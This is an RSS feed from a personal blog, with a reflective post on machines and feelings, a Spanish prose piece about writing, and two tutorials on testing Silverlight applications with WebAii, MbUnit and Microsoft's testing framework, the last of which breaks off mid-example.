<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Javier Figueroa&#039;s words.toBlog()</title>
	<atom:link href="http://www.jfigueroa.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jfigueroa.org</link>
	<description>Random thoughts, ideas and pensamientos</description>
	<lastBuildDate>Thu, 04 Feb 2010 05:58:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The Future</title>
		<link>http://www.jfigueroa.org/2010/02/04/the-future/</link>
		<comments>http://www.jfigueroa.org/2010/02/04/the-future/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 05:58:08 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[computers]]></category>
		<category><![CDATA[feelings]]></category>
		<category><![CDATA[machines]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=327</guid>
		<description><![CDATA[Tonight I&#8217;m feeling a bit weird. It&#8217;s a mix of tiredness and cluelessness, it feels like venturing into a new universe but I&#8217;m not quite there yet.
Going through some changes in my life, mostly positives, and accommodating accordingly. However, it is still a tremendous burden in my concience because sometimes it&#8217;s hard to tell whether what you [...]]]></description>
			<content:encoded><![CDATA[<p>Tonight I&#8217;m feeling a bit weird. It&#8217;s a mix of tiredness and cluelessness, it feels like venturing into a new universe but I&#8217;m not quite there yet.</p>
<p>Going through some changes in my life, mostly positives, and accommodating accordingly. However, it is still a tremendous burden in my concience because sometimes it&#8217;s hard to tell whether what you do is right or wrong. Although it feel correct, people are always bound to feel hurt.</p>
<p>Computers are a great getaway from reality, at least it works for me. I feel like I belong in there, like I can be more than here, like I said its odd. Computers also make be feel somewhat immature, I know we humans are still evolving but machines now a days have so much more potential and most of us seem or want to ignore it.</p>
<p>The thing about machines is that they have no feelings&#8230; yet&#8230; something that has always amazed me. Understanding the binary language to which machines dance, and knowing the higher level of such, when will machines feel? will I enjoy the company of one? maybe instead of writing this he or she could just talk back to me or record my thoughts or just put me to sleep&#8230; maybe one day, hopefully.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2010/02/04/the-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Bohemia</title>
		<link>http://www.jfigueroa.org/2009/12/06/la-bohemia/</link>
		<comments>http://www.jfigueroa.org/2009/12/06/la-bohemia/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 04:40:53 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Pensamientos]]></category>
		<category><![CDATA[Escritos]]></category>
		<category><![CDATA[letras]]></category>
		<category><![CDATA[Pasion]]></category>
		<category><![CDATA[pensamiento]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=320</guid>
		<description><![CDATA[Esta noche me encuentro escribiendo otra vez. Me hierve la sangre al sentir mis ganas de escribir y el deseo de expresar cualquiera que sea lo que tenga que expresar en forma de letras. Hace ya algún tiempo no escribo ni una palabra que tenga sentido más allá del mundo mundano técnico, de mi conocimiento [...]]]></description>
			<content:encoded><![CDATA[<p>Esta noche me encuentro escribiendo otra vez. Me hierve la sangre al sentir mis ganas de escribir y el deseo de expresar cualquiera que sea lo que tenga que expresar en forma de letras. Hace ya algún tiempo no escribo ni una palabra que tenga sentido más allá del mundo mundano técnico, de mi conocimiento calculado-científico, donde las emociones y el existir son solo momentos débiles de nosotros los insignificantes humanos, sin el poder de la luz. Este lado de mi me encanta! El lado en el cual la ciencia y la tecnología se convierten en los juguetes del año pasado y las emociones y sentimientos en el nuevo juguete de hoy.</p>
<p>Apasionante como la sangre que brota de las heridas del naufrago de un amor imposible, donde la única salida es el intento mortal, salen mis palabras de mi mente y se convierten en poderosas esculturas de bronce indestructibles y eternas. Es extraño que después de tanto tiempo sin la tinta ni el papel, vea el despliegue de mis vocales formar tan fluido río de frases, donde el otro lado de mi irreconocible me encontraría. Alegría! Se siente en mi cuerpo. Alegría! Es volver a la expresión humana.</p>
<p>Esta noche donde el supuesto invierno nunca llegó, en la mitad del mundo y en el centro del calor, es fácil desprenderse de la realidad y mostrarse como es, puro, sin colgandejos ni educación, desnudo yo y la noche, desnudo yo y nadie más.</p>
<p>Quizás vuelva a tocar el libro que hace ya años empecé, quizás escriba más que antes, quizás nunca vuelva a escribir, las posibilidades son infinitas cuando te agarran las animas del amor a la cultura y de la pasión por la Bohemia.</p>
<p>Si, la Bohemia, una dama de unos ocho metros que se aparece en mi cuarto a eso de las once de la noche me acosa al papel. Ella me mira con ojos de perdida y con hambre de aventura y sed de libertad. Su piel es dura cual gitana, demostrando experiencia y al mismo tiempo frialdad. La Bohemia me acoge como si necesitara de mi, pero sin necesitar de mi.</p>
<p>Esta noche no fue diferente a las demás, ella vino me miro profundamente con esos ojos estelares, me susurro unas palabras y aquí me dejo…</p>
<p>Ella me dijo:</p>
<p>- Escribe Javi, escribe…</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2009/12/06/la-bohemia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silverlight Functional Testing with WebAii Framework</title>
		<link>http://www.jfigueroa.org/2009/08/10/silverlight-functional-testing-with-webaii-framework/</link>
		<comments>http://www.jfigueroa.org/2009/08/10/silverlight-functional-testing-with-webaii-framework/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 00:30:46 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Integration Tests]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Unit Testing]]></category>
		<category><![CDATA[WebAii]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=289</guid>
		<description><![CDATA[Summary
In this article you&#8217;ll get a glimpse of how the UltiStudio development team is tackleing the functionality tests for the product. If you are a Silverlight developer or are familiar with Silverlight you know that testing Silverlight applications for their functionality is not a trial task. This article will expose you to a young framework [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Summary</strong></p>
<p>In this article you&#8217;ll get a glimpse of how the UltiStudio development team is tackleing the functionality tests for the product. If you are a Silverlight developer or are familiar with Silverlight you know that testing Silverlight applications for their functionality is not a trial task. This article will expose you to a young framework developed by the Art of Test people. Its name is WebAii.</p>
<p><strong>Requirements</strong></p>
<p>You should have the latest Visual Studio installed. MbUnit and TestDriven.Net should also be installed. Additionally, you should know how to create a Test Project and how to add Test Fixtures to it.</p>
<p><strong>Who will benefit from this Article?</strong></p>
<p>Anyone that works with Silverlight and is desperately looking for a way of functionally tests their applications.</p>
<p>WebAii, Here we go! ( with Super Mario voice :p )</p>
<p>This framework is currently Beta for Silverlight applications, young as I said earlier, therefore if you are planning to use it be patient and hang on. Let&#8217;s jump right into the tests. You will need the following files, download them to a preferred location and be ready to add their assemblies to your test project in Visual Studio.</p>
<p><a href="http://www.artoftest.com/products/webaii.aspx" target="_blank">•	[WebAii 2009 Framework|</a></p>
<p>•	<a href="http://www.mbunit.com/Downloads.aspx" target="_blank">MbUnit</a></p>
<p>Once you have located the DLLs and assuming that you have Visual Studio, MbUnit and TestDrive.NET installed, go ahead and create a "MbUnit Test Project" in Visual Studio. Next, add a new TextFixture to your project and you are now ready to write some tests.</p>
<p><strong>Setting up the Test Fixture</strong></p>
<p>Once we've added the Fixture we should have something like this:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">namespace</span> Editor.<span style="color: #0000FF;">FunctionalTests</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #FF0000;">class</span> SilverlightFunctionalTests<br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #000000;">&#125;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p>Now, add the MbUnit attribute [TestFixture] to the class, (don&#8217;t forget to make it public). Additionally, add a SetUp method. The code should look like this:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">MbUnit.Framework</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">namespace</span> Editor.<span style="color: #0000FF;">FunctionalTests</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #000000;">&#91;</span>TestFixture<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> SilverlightFunctionalTests<br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #000000;">&#91;</span>TestFixtureSetUp<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> SetUp<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #000000;">&#125;</span><br />
<br />
<span style="color: #000000;">&#125;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p>Great! that was easy and I&#8217;m sure most of you are did this even before you read this. Next, we will add the WebAii to the Fixture. For the purpose of this example I will use a random URL, make sure you write yours correctly and that the URL you point to has the Silverlight application you are trying to test. I have added most of the WebAii set up within the SetUp method I just created, however feel free to put this code where you think it&#8217;s better. Go ahead and add the following code and then we&#8217;ll go over it:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0600FF;">using</span> <span style="color: #008080;">MbUnit.Framework</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">ArtOfTest.WebAii.Core</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">ArtOfTest.WebAii.TestTemplates</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">ArtOfTest.WebAii.Silverlight</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #0600FF;">namespace</span> Editor.<span style="color: #0000FF;">FunctionalTests</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #000000;">&#91;</span>TestFixture<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> SilverlightFunctionalTests <span style="color: #008000;">:</span> BaseTest<br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #0600FF;">private</span> SilverlightApp _app<span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#91;</span>TestFixtureSetUp<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> SetUp<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
Settings settings <span style="color: #008000;">=</span> GetSettings<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
settings.<span style="color: #0000FF;">DefaultBrowser</span> <span style="color: #008000;">=</span> BrowserType.<span style="color: #0000FF;">InternetExplorer</span><span style="color: #008000;">;</span><br />
<br />
settings.<span style="color: #0000FF;">EnableSilverlight</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span><br />
<br />
Initialize<span style="color: #000000;">&#40;</span>settings<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
Manager.<span style="color: #0000FF;">LaunchNewBrowser</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
ActiveBrowser.<span style="color: #0000FF;">NavigateTo</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;URL&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
SilverlightAppsList apps <span style="color: #008000;">=</span> ActiveBrowser.<span style="color: #0000FF;">SilverlightApps</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
_app <span style="color: #008000;">=</span> apps.<span style="color: #0000FF;">ElementAt</span><span style="color: #000000;">&#40;</span>0<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
_app.<span style="color: #0000FF;">Connect</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#125;</span><br />
<br />
<span style="color: #000000;">&#125;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p><span style="color: #008000;">public class SilverlightFunctionalTests : BaseTest</span></p>
<p><span style="color: #008000;">private SilverlightApp _app;</span></p>
<p>&#8230;</p>
<p><span style="color: #008000;">Settings settings = GetSettings();</span></p>
<p><span style="color: #008000;">settings.DefaultBrowser = BrowserType.InternetExplorer;</span></p>
<p><span style="color: #008000;">settings.EnableSilverlight = true;</span></p>
<p><span style="color: #008000;">Initialize(settings);</span></p>
<p>&#8230;</p>
<p>The first thing you&#8217;ll notice is that I&#8217;ve added WebAii objects (Green) . Most of this is set up and you will have to copy this code as is. Here, I&#8217;ve added inheritance to the BaseTest class, created a SilverlightApp object and initialized the settings by setting the a default browser and enabling silverlight.</p>
<p><span style="color: #ff9900;">Manager.LaunchNewBrowser();</span></p>
<p><span style="color: #ff9900;">ActiveBrowser.NavigateTo(&#8220;URL&#8221;);</span></p>
<p><span style="color: #ff9900;">SilverlightAppsList apps = ActiveBrowser.SilverlightApps();</span></p>
<p><span style="color: #ff9900;">_app = apps.ElementAt(0);</span></p>
<p><span style="color: #ff9900;">_app.Connect();</span></p>
<p>The next thing I wrote (Orange) will launch the browser we set in the settings and it will make it navigate to the URL that we have specified. Then the code will tell the browser to find all the Silverlight applications in the page and return a  SilverlightAppsList (list of Silverlight applications). For the purpose of this example we only have one application in the page, hence why I get the element at position 0 within the list. Finally, I set the global SilverlightApp and immediately after, I called Connect() on the SilverlightApp.</p>
<p>At this point we are ready to start writing tests.</p>
<p><strong>Writing Tests, finally!</strong></p>
<p>Here is the fun stuff. I will show you a test that does a simple thing, it will click on the Silverlight application. In this section of this article I will try to give you a very broad understanding of what you should do in order to write your own tests. The framework does offer several methods that will allow you to be creative with your tests. I&#8217;ll point some of the most used ones and then I&#8217;ll give you a link for you to digest the rest.</p>
<p>To the code.</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">&#91;</span>Test<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> ClickingSilverlightApplication_ShouldClickTheApplication_Test<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Preconditions</span><br />
<br />
FrameworkElement control <span style="color: #008000;">=</span> _app.<span style="color: #0000FF;">FindName</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;PopupBorder1&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
control.<span style="color: #0000FF;">Wait</span>.<span style="color: #0000FF;">ForVisible</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Actions</span><br />
<br />
control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">Click</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Postconditions</span><br />
<br />
Assert.<span style="color: #0000FF;">isTrue</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p><span style="color: #008000;">//Preconditions</span></p>
<p><span style="color: #008000;">FrameworkElement control = _app.FindName(&#8220;PopupBorder1&#8243;);</span></p>
<p><span style="color: #008000;">control.Wait.ForVisible();</span></p>
<p>Fair enough, we have our precious test. It looks easy too\! As you can see, it works exactly as any unit test framework would. Allow me to explain it first. Initially (Green), I use the WebAii framework FindName method. There are a couple of things to say about this. FindName is a method that will look within the XAML of your silverlight application and it will try to find a XAML node with the Name attribute equal to the string you are passing to the method. The other thing I should say is that you can also call FindName like this: FindName&lt;T&gt;(&lt;string&gt;) where T is a specific type; I will show an example later on.</p>
<p>Keep in mind you have to know the Name attribute to find objects in the silverlight application. If the object is not found your test will time out and fail, so you will know. If it doesn&#8217;t then you&#8217;ll end up with a FrameworkElement or T if you used  FindName&lt;T&gt;(&lt;string&gt;). As in the previous  code, call Wait.ForVisible(). This will allow our test and the silverlight application to wait for each other.</p>
<p><span style="color: #ff9900;">control.User.Click();</span></p>
<p>The next piece of code (Orange) used the User property to call the action: Click(), simply to click on the found object. In this Actions section of the test you will usually be calling .User.&lt;Something&gt;, there are a lot of things that WebAii can do to mock the user functionality, here are some included on the version released at the moment I&#8217;m writing this article:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">DragTo</span><span style="color: #000000;">&#40;</span>...<span style="color: #000000;">&#41;</span><br />
<br />
control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">HoverOver</span><span style="color: #000000;">&#40;</span>...<span style="color: #000000;">&#41;</span><br />
<br />
control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">KeyDown</span><span style="color: #000000;">&#40;</span>...<span style="color: #000000;">&#41;</span><br />
<br />
control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">KeyPress</span><span style="color: #000000;">&#40;</span>...<span style="color: #000000;">&#41;</span><br />
<br />
control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">MouseEnter</span><span style="color: #000000;">&#40;</span>...<span style="color: #000000;">&#41;</span><br />
<br />
control.<span style="color: #0000FF;">User</span>.<span style="color: #0000FF;">TypeText</span><span style="color: #000000;">&#40;</span>...<span style="color: #000000;">&#41;</span></div></td></tr></tbody></table></div>
<p>You can get all of them by using the IntelliSense feature in Visual Studio. Their documentation is pretty good too.</p>
<p>As promised, here is the example of the FindName&lt;T&gt; overload.</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">&#91;</span>Test<span style="color: #000000;">&#93;</span><br />
<br />
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> FindEllipse_FindEllipseInApplication_Test<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
<br />
<span style="color: #000000;">&#123;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Preconditions</span><br />
<br />
Ellipse control <span style="color: #008000;">=</span> app.<span style="color: #0000FF;">FindName</span><span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span>Ellipse<span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;SomeEllipse&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
control.<span style="color: #0000FF;">Wait</span>.<span style="color: #0000FF;">ForVisible</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Actions</span><br />
<br />
<span style="color: #008080; font-style: italic;">//someaction</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Postconditions</span><br />
<br />
<span style="color: #008080; font-style: italic;">//Asserts</span><br />
<br />
<span style="color: #000000;">&#125;</span></div></td></tr></tbody></table></div>
<p><em>Word of advise: The returned Ellipse is not a Silverlight control, is a WebAii control which means they are different types of objects. This means you will need to be creative in order to assert the different properties of the object.</em></p>
<p><strong>Conclusion</strong></p>
<p>By now you should have a broad understanding of how the WebAii framework works for Silverlight and what it&#8217;s needed to create tests based on this framework. Additionally, you should be aware that there are many options when it comes to mocking the User behavior and that in order to find objects in your application and interact with them you will need their XAML Name attribute. If you have any questions or get stuck anywhere while testing with WebAii don&#8217;t hesitate to submit a comment or write me an email to my Ultimate Email</p>
<p>If you want to learn more about WebAii and Silverlight head over to <a href="http://www.artoftest.com/support/webaii/topicsindex.aspx" target="_blank">WebAii</a> and Silverlight Documentation</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jfigueroa.org/2009/08/10/silverlight-functional-testing-with-webaii-framework/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silverlight Testing with Microsoft Silverlight Testing Framework</title>
		<link>http://www.jfigueroa.org/2009/08/10/silverlight-testing-with-microsoft-silverlight-testing-framework/</link>
		<comments>http://www.jfigueroa.org/2009/08/10/silverlight-testing-with-microsoft-silverlight-testing-framework/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 23:26:26 +0000</pubDate>
		<dc:creator>figueroa7</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Unit Testing]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[XAML]]></category>

		<guid isPermaLink="false">http://www.jfigueroa.org/?p=227</guid>
		<description><![CDATA[Summary
This page intents to explain in simple non-technical words how some of the unit testing, specifically testing for the designer portion of the project, is being done. This page contains examples of some unit tests and an explanation of their behavior.
1. Getting Familiar with Silverlight 
If you are familiar with Silverlight already feel free to [...]]]></description>
			<content:encoded><![CDATA[<p>Summary</p>
<p>This page intents to explain in simple non-technical words how some of the unit testing, specifically testing for the designer portion of the project, is being done. This page contains examples of some unit tests and an explanation of their behavior.</p>
<p><strong>1. Getting Familiar with Silverlight </strong></p>
<p><span style="color: #00ff00;">If you are familiar with Silverlight already feel free to move on to section 2 of this page</span></p>
<p>For those of you that are not familiar with the Silverlight way of things, allow me to mention a couple of concepts to get you on the right track and to ease your understanding of the unit tests to follow.</p>
<p>Silverlight, in a nutshell, it&#8217;s driven by UserControls. These are Xaml files with code behind just like many other technologies from Microsoft, in Silverlight they are &#8220;rendered&#8221; when they are called in your browser.</p>
<p>For example:</p>
<div class="codecolorer-container xml dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;<br />
<br />
xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;</div></td></tr></tbody></table></div>
<p>This Xaml, which represents a UserControl, will display a TextBlock with the Text content of Hello World.</p>
<p>These UserControls as you would expect, can be constructed in your code behind to dynamically add more content to it. For example:</p>
<div class="codecolorer-container csharp dawn" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">TextBlock textBlock <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> TextBlock<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />
textBlock.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Hello World&quot;</span><span style="color: #008000;">;</span><br />
